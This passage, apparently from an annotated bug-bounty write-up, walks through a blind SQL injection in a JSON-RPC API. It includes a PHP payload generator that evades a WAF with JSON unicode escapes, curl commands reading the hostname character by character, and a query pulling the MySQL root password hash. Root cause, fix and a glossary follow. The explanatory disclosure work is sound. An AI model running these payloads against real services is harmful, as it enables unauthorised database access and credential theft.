tom@bash:~▶ cat gensql.php <?php// first argument to the script is the char to fetch$char = $argv[1]?? 1;// The payload$sql = '    SELECT CASE SUBSTRING(@@hostname, '.$char.', 1)        WHEN "a" THEN 2        WHEN "b" THEN 8        WHEN "c" THEN 9        WHEN "d" THEN 10...snip...        WHEN "z" THEN 35        WHEN "0" THEN 36        WHEN "1" THEN 37        WHEN "2" THEN 38        WHEN "3" THEN 39        WHEN "4" THEN 40    END';$wrapper = [    "jsonrpc" => "2.0",    "method" => "getWidgets",    "params" => [$sql]];$payload = json_encode($wrapper);// Add some obfuscation to defeat the WAF :)echo str_replace(    ["C",      "S",      "T",      "W"],    ["\u0043", "\u0053", "\u0054", "\u0057"],    $payload);

Line by line:

  • $char = $argv[1]?? 1; takes the first argument given to the script on the command line, or uses 1 if none was given. This is the character position to read.
  • $sql = '...' builds the SQL text. '.$char.' inserts the position number into the string.
  • Each WHEN "x" THEN n maps a letter or digit to one of the valid IDs found in the previous step. For example, a maps to 2, b to 8, and so on. The ...snip... stands for the omitted middle of the list.
  • $wrapper = [...] puts the SQL into a JSON-RPC request.
  • json_encode($wrapper) turns it into JSON text.
  • str_replace(["C", "S", "T", "W"], ["\u0043", "\u0053", "\u0054", "\u0057"], $payload) replaces the letters C, S, T and W with their JSON escape sequences. That is enough to break up the literal keywords SELECT, CASE, SUBSTRING and so on, so the WAF does not recognise them.
  • echo prints the result, which curl then sends.

Why this matters: doing this by hand for every character would be unbearable. The script turns "read character number 3" into a ready-to-send request with the right mapping and the right disguise.

Step 6: read the hostname one character per request

Each request pipes the response through gron, greps type_id, prints the last field with awk '{print $NF}', and removes duplicates with uniq. The single remaining number is looked up in the table.

First character:

Text
tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 1) | gron | grep type_id | awk '{print $NF}' | uniq27;

Line by line:

  • php gensql.php 1 runs the generator for character position 1.
  • curl -s $APIURL -d @<(...) sends that generated payload.
  • | gron | grep type_id flattens the reply and keeps the type_id lines.
  • | awk '{print $NF}' prints the number at the end of each line.
  • | uniq removes repeated lines, leaving one number.
  • The output is 27, which maps to r in the lookup table.

Why this matters: 27 matches what the slower yes/no method found, so the faster method is confirmed working.

More characters:

Text
tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 2) | gron | grep type_id | awk '{print $NF}' | uniq11;tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 3) | gron | grep type_id | awk '{print $NF}' | uniq10;tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 4) | gron | grep type_id | awk '{print $NF}' | uniq2;

Line by line: the same pipeline, with the position number changed to 2, 3 and 4. The outputs are 11, 10 and 2, which map to e, d and a. So far the hostname reads reda.

Continuing:

Text
tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 5) | gron | grep type_id | awk '{print $NF}' | uniq9;tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 6) | gron | grep type_id | awk '{print $NF}' | uniq29;tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 7) | gron | grep type_id | awk '{print $NF}' | uniq11;tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 8) | gron | grep type_id | awk '{print $NF}' | uniq10;

Line by line: positions 5 through 8. The outputs 9, 29, 11 and 10 map to c, t, e and d. The hostname was read at one character per request, which the researcher estimates at roughly 2 bits per second. A bit is the smallest unit of information, a single yes/no answer; 2 bits per second means about two yes/no answers' worth of information every second.

Step 7: what else could be read

Reading a hostname is not much of a prize, so the write-up shows a more impactful query: pulling the password hash for the root user out of mysql.user, provided the database user in question has permission to read it. A password hash is a scrambled form of a password, designed so that the original cannot easily be recovered; but if it is weak, it can be guessed by trying candidates offline, on your own machine, without touching the target.

SQL
SELECT CASE SUBSTRING((    SELECT u.authentication_string    FROM mysql.user u    WHERE u.User = "root"), 1, 1)    WHEN "*" THEN 2    WHEN "0" THEN 8    WHEN "1" THEN 9...snip...    WHEN "E" THEN 22    WHEN "F" THEN 23END

Line by line:

  • The inner SELECT u.authentication_string FROM mysql.user u WHERE u.User = "root" fetches the stored password hash for the user named root from MySQL's built-in user table.
  • SUBSTRING((...), 1, 1) takes the first character of that hash.
  • The outer CASE maps each possible character to a valid ID, just as before. * maps to 2, 0 to 8, 1 to 9, and so on.
  • ...snip... stands for the omitted middle of the mapping.
  • END closes the CASE.

Why this matters: the same technique that reads a harmless hostname can read something worth attacking. At one character per request, around 42 requests would yield a hash for offline cracking. The researcher notes that having the root MySQL password is often of little use, because most sane operators do not expose their MySQL instances directly to the internet. A database that only accepts connections from inside its own network cannot be logged into from outside, even with the right password.

In a real attack the next step would be information_schema, to learn the schema and find other data worth extracting. information_schema is a built-in catalogue inside MySQL that lists every table and column, like the index at the back of a book. That did not happen here: a non-blind SQL injection was found in the very next method the researcher looked at. Non-blind means the results of the injected query are visible directly, which makes everything much easier.

Root cause

The parameter value appears to be concatenated into an IN (...) clause inside a LEFT JOIN condition, with no parameterisation. Parameterisation means keeping the user's input separate from the query text and letting the database plug it in as data, never as syntax. The single quote breaking the query and the comment-wrapped quote not breaking it both point to raw string interpolation: the input is glued into the query as text. The WAF in front of the API blocked the plain payload, but JSON \uXXXX escapes let the same keywords reach the parser without appearing literally in the request body. The application then decoded the escapes and passed the resulting string to the database.

Impact

A caller of this JSON-RPC method could ask arbitrary yes/no questions of the database and, with the CASE technique, read roughly one character per request. Unauthenticated means no login was needed. What can be read depends on the privileges of the database user behind the API: the hostname variable is always available, while mysql.user.authentication_string requires read permission on that table. The researcher characterises the hostname read as not a big deal on its own, and notes that direct access to the MySQL instance is usually not exposed, which limits the value of a recovered root hash. The report does not state a severity, a bounty or a CVSS score.

Fix

The report does not describe a fix or say what the vendor changed. The measure implied by the finding is to stop building the IN (...) list by string concatenation and bind the IDs as parameters, so that quotes and SQL keywords in the parameter are treated as data. A WAF rule that only matches literal keywords is not a substitute, as the \uXXXX bypass shows.

Variants to test

These are the same checks, written so you can try them on a system you are authorised to test.

  1. Quote handling in any JSON-RPC parameter. Send a single quote and then the same quote wrapped in a comment. A positive result is an error for the first and a normal response for the second, which suggests interpolation into SQL.
  2. List-shaped parameters. Send a single number, then a comma-separated list, and compare which values appear in the returned records. A positive result is that returned values are always drawn from the supplied list, which points at an IN (...) clause.
  3. Boolean oracle via record presence. Use IF(SUBSTRING(target, n, 1) = "x", <id with children>, <id without children>). A positive result is a response with child records for true and without them for false.
  4. WAF bypass through JSON escapes. Take a payload the WAF blocks and re-encode its keywords as \uXXXX sequences. A positive result is the same behaviour without the block page.
  5. Multi-way oracle via CASE. Map each candidate character to an ID that is known to produce records, and read the returned ID. A positive result is a single consistent ID per request that maps back to the correct character.
  6. Privilege check on mysql.user. Try reading authentication_string for a known user through the same oracle. A positive result is a hash being reconstructed character by character, which confirms the database user has read access to the grant tables.

Glossary

  • API: a defined way for one piece of software to ask another for data or actions, like a menu and a waiter.
  • Asset: in this report, an item attached to a widget, with a numeric type_id.
  • ASCII: the standard numbering of basic characters used by computers.
  • Bit: the smallest unit of information, a single yes/no answer.
  • Blind SQL injection: SQL injection where you cannot see query results directly, only a side effect such as a list being empty or full.
  • Bug bounty program: a scheme where an organisation invites outsiders to report security problems in exchange for a reward.
  • CASE: a SQL construct that returns different values depending on which condition matches.
  • Command line: a text window where you type commands instead of clicking buttons.
  • Concatenation: gluing pieces of text together into one string.
  • curl: a command-line tool for sending and receiving data over a network.
  • CVSS: a standard scoring system for rating the severity of a security flaw.
  • Database: an organised store of information that can be queried.
  • Exfiltration: getting data out of a system without permission.
  • grep: a command-line tool that searches text for lines matching a pattern.
  • gron: a command-line tool that flattens JSON into one line per value.
  • Hash: a scrambled form of a value, such as a password, designed to be hard to reverse.
  • IF: a SQL function that returns one value when a condition is true and another when it is false.
  • IN (...): a SQL clause that checks whether a value is one of a list of values.
  • information_schema: a built-in MySQL catalogue listing tables and columns.
  • Interpolation: inserting a value into a larger piece of text, here into a SQL query.
  • JSON: a text format for structured data, using curly braces for objects and square brackets for lists.
  • JSON-RPC: a convention for calling functions on a remote API using JSON, with jsonrpc, method and params fields.
  • LEFT JOIN: a SQL join that keeps every row from the first table even when nothing matches in the second.
  • Method: in JSON-RPC, the name of the function being called.
  • MySQL: a popular database program.
  • Non-blind SQL injection: SQL injection where the results of the injected query are visible directly.
  • Oracle: any observable behaviour that reliably answers a question you cannot ask directly.
  • Parameterisation: keeping user input separate from query text so the database treats it as data, never as syntax.
  • Payload: the text you send to a system, here the JSON body containing the injected value.
  • PHP: a programming language often used for websites, used here to generate payloads.
  • Process substitution: a shell feature, written @<(command), that feeds a command's output where a file would go.
  • Query: a SQL command sent to a database.
  • Root: the most powerful user account in a MySQL database.
  • SQL: the language used to query and change databases.
  • SQL injection: building a SQL query by gluing user input into it, so that input can change the query's meaning.
  • SUBSTRING: a SQL function that extracts part of a piece of text.
  • Table: one sheet of data inside a database.
  • Unauthenticated: done without logging in.
  • UNION: a SQL keyword that combines the results of two queries.
  • WAF: a filter in front of a website that blocks requests that look like attacks.
  • Widget: in this report, a named container in the data that carries a list of assets.

More by tomnomnom

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.